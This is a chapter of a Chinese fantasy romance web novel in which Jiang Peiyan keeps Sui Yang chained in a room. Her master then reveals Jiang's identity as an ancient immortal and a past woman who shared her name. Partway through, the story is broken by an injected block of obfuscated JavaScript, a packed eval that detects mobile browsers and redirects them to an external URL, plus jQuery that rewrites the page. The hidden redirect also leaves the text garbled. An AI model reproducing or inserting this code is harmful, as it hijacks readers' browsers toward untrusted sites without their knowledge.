60. 第 60 章

第六十章


-


什么都不及那根锁住随泱的银链产生的惊骇那般大。


随泱的瞳孔颤抖着,她趔趄着坐起身,方才的疑惑也好痛苦也罢在这一瞬间都被她抛诸脑后,唯有此时此刻,被江霈言囚禁的愤怒如同烈焰一般生长。


“江霈言,你疯了不成?!”随泱想要从床上起来,走到江霈言面前去,可是,在她起身后,那条银链被绷紧的瞬间,随泱便在不能往前半步,她的瞳孔瞪圆了,情绪在眼眸之中氤氲翻转,等到看向江霈言时,随泱那双好看的眼睛,竟是也多了些水汽,“江霈言,你放开我!我要见师父!我要同师父告你的状!”


江霈言并没有替随泱解开手上束缚的意思,他沉默地看向随泱,过了许久才轻声道,“我会通知周幸来见你,只是随泱,无论是谁,都不能将你从我身边带离。”


随泱有些力竭,她看向江霈言,没有说话。


两人仿佛是在无声地对峙,谁都没有率先开口,直到随泱坐着有些累了,才蜷缩着躺了下来,背对着江霈言。


即便如此,江霈言也一直是在床边站着,随泱能够察觉到他的视线,那般沉重的,包含着让随泱难以理解的情绪的视线。


******


随泱并不知道江霈言是什么时候离开的,也不知道自己是什么时候睡过去的,醒来的时候,鼻翼前有淡淡的饭香。


她爬坐起身,手腕上的银链依旧在,似乎江霈言并不打算放开她,只是在床边,多了一张竹桌,竹桌上,摆着五道仍旧冒着热气的菜肴,同一碗装得严严实实的米饭。


随泱探头往外间看过去,并没有江霈言的身影,想来他将餐食送过来后,人便离开了,而此时,随泱的肚子也适时地饿了,她吸了吸鼻子,坐直了身子,并不打算为难自己。


只是,第一筷子菜刚刚入口,随泱的动作便慢了下来,她的眼眶控制不住地发酸。


她与江霈言争吵过后,躺在那里的时间里,她的脑子里一遍一遍过着秦曜的话。


随泱想,或许秦曜说得没错,江霈言在记起自己是蘅泽仙君,回忆起从前所有的事情后,便不再是她的师兄了。


她的师兄,绝不会对她做出这样的事情。江霈言分明事事都顺着随泱的,怎么会像现在这样,不顾随泱的意愿,明知随泱生性跳脱,不是静得下来的性子,还要将自己关在这里呢。


江霈言再成为蘅泽仙君后,再不是自己的师兄了。


只是随泱方才睡过去前,脑子里的最后一个念头。


直到现在,竹桌上的菜,分明是江霈言亲自下厨做的。江霈言的手艺不错,只是从前师父总说他身为清风宗的大师兄,不该做这些有悖身份的事情,所以才很少有人知晓那个倜傥剑客还做得出一手好菜。


然而,随泱是知道的,她有些贪吃,吃过江霈言做的食物后,便时不时嘴馋。


这种时候,江霈言从不管被发现后是不是会被周幸责罚,总是会满足随泱的口腹之欲,这是他们两个人之间心照不宣的秘密。


随泱垂着眼,那好吃的,仍旧氤氲着热气的饭菜此时此刻在她嘴里却是泛着苦涩。


怎么会这样呢?倘若江霈言当真同秦曜说得那般,已经不是从前那个人了,而是成了让随泱陌生的蘅泽仙君,那么便是以死相搏,随泱也不会留在江霈言身边。


可,江霈言变了,却又未曾完全变,这让随泱不知该如何是好,她茫然地盯着眼前的餐食,竟是格外想念从前的那只渡鸦先知。


此时此刻,若是黑鸦还在就好了,至少,他是天道的眼睛,若是他还在,定是能够告诉随泱该如何做。


饭吃了一半,屋外传来了江霈言的声音,“泱泱,周幸来了。”只是听他的语气,并不能听出他同随泱方才大吵一架。


随泱眸光闪了闪,“我只见师父一人。”


外面没了声音,过了一会儿,紧闭的房门被推开,有人影出现在了门边。


随泱在看清那人脸的瞬间,眼眶便开始发烫,先前一直打转的泪此时此刻,终于落了下来。


“师父!”随泱想要起身扑到来人的怀里去,可偏偏刚走两步,手上的链子便又猛地扯紧,将她扯得一个趔趄,坐回了床上。


脸色有些沉重的周幸见状也是顾不上旁的,跑向了随泱,他看向随泱,伸出的手停在半空,“你受苦了。”


随泱抿了抿唇,她仰头看向周幸,“师父,究竟发生什么事情了,师兄,师兄他……”


见随泱落下泪来,周幸也跟着深深叹了一口气,他在床边坐下,终于是伸手拍了拍随泱的肩膀,他的声音沉重,带着无尽的化不开的愁绪,“泱泱,为师也是在出事那日才知晓,江霈言他竟是当年下落不明的蘅泽仙君。”


随泱抬手抹了抹泪,她抽噎道,“可是师父,不是都说蘅泽仙君当年死在魔渊了吗?师兄明明尚在襁褓中时就被师父捡回山上去了,怎么会是什么蘅泽仙君呢?”


随泱的声音顿了顿,她抬头看向周幸,面上有些紧张,“师父,你说师兄会不会是被蘅泽仙君害死了?就像我一样,那时候,我明明是死了,可是现在,却好好地坐在您跟前。”


“那个蘅泽仙君会不会也像我那样已经死了,只是他不如我幸运,能够回到自己的身体里,他只能鸠占鹊巢,抢了师兄的身体?”


“傻孩子,这世上哪里有这般荒诞的事情?”周幸叹了一口气,却也知道随泱此时有些病急乱投医了,不然也不会说出这样的话来。


“蘅泽仙君如何能做出那样有悖伦常的事情?”周幸的眸光落在随泱的脸上,有些话在他心里打转,却是不知该不该说给随泱听。


随泱看出了周幸脸上的纠结,她向来是聪明的,只旁人的一个眼神便能看出他心中有事,此时更是看出了周幸的心事重重。


随泱吸了吸鼻子,她已经冷静了下来,不似方才那般哭哭啼啼的了。


“师父可是有什么话要同我说?只管说吧,泱泱不是什么小孩子了,承受得住,也能够接受。”


周幸深深看了随泱一眼,他又叹了一口气,“出事之后,我才想起去寻有关蘅泽仙君的事情。”<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568077|164605||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>的确,仙人已经消失了许多年了,如今外面修士众多,虽有妖物,却不成什么气候,又有谁会在这种时候,去探寻与那些已故仙人有关的事情呢?


“虽清楚蘅泽仙君过往事情的人少之又少,可我仍旧是找到些有关蘅泽仙君的过往。”


“江霈言这个名字,从前便是蘅泽仙君的名字。世家江家的小儿子,江霈言,出生时天降异象,在毛头小儿的年纪便飞升成仙,上了仙山。”


“这也是世人不知,那位年轻的蘅泽仙君本叫江霈言这件事的原因。”


“当年我遇到尚在襁褓中的江霈言,那时候,他虽是不能言不能动的婴孩,可周身的灵气却是敌过不少成年修士,其根骨更是这么多年来,我遇见的最好的人。那时候,他的襁褓中有一块玉牌,上头便刻着江霈言三个字。”


“那时候,我以为这是他的父母在离开他之前给他留下的东西,便依此给他起名江霈言,只是现在想来,或许一切都是仙君筹划好的,那样高高在上的人,又如何会允许自己被我这样的寻常人冠以姓名?自是要将自己的名字留在身边。”


随泱看向周幸,她有些不明白,有关江霈言性命的事情为何会让周幸这般纠结,直到周幸抬眸看向自己。


随泱从周幸眼中,看到了痛苦与悲悯。


“这段时间,我一直在想,蘅泽仙君毕竟一身仙骨,当年魔渊之劫后,他仙骨受了重创,沉睡多年,才化成从前的躯壳,这具身体经过二十多年的修养,才终于让承载着的仙骨苏醒,若是寻常人,遇上那样的事情,早就根骨尽碎了,哪里还有从头再来的机会?”


“师父,我不明白。”不知为何,随泱竟是伸手环住了自己的双腿,她蜷缩在那里,似是想要将自己抱得再紧些,仿佛只有这样,才能承受住等会儿周幸要说的话。


“在魔渊之灾的前几年,仙山便遭逢大劫,原先以百计的仙人尽数陨落,只剩蘅泽仙君一人。”


“往日熙攘繁华的仙山仙都,也变得安静寂寥,只是,这份寂寥,只持续了很短的一段时间,传言,在仙山出事后没有多久,便有一行人,在蘅泽仙君的力排众议下,住进了仙山。”


随泱动了动唇,她原先想问那些人是什么人,可是话到了嘴边,却终究没有说出来,她只是安静地听着周幸继续说下去。


“那些人究竟是什么身份,我依旧没能查到。只知传言里,后来的魔渊之灾,似乎与那些人脱不开关系。”周幸顿了顿,他看向了随泱。


随泱明白,铺垫这么久,周幸终于要说到事情的重点了。


“我只查到,那些人进入仙山后,蘅泽仙君身边,便多了一位女子,有关那女子的身份众说纷纭,有人说那女子是妖,也有人说那女子只是寻常修士的。纷纷扰扰没个定论。”


“唯一有定论的,是我在清风宗开宗老祖留下的竹简里,翻到了那女子的名字。”


“随泱。”


“什么?”随泱茫然抬头,她看到周幸的双唇开开合合。


“泱泱,那位女子的名字,是随泱。与你同名同姓。”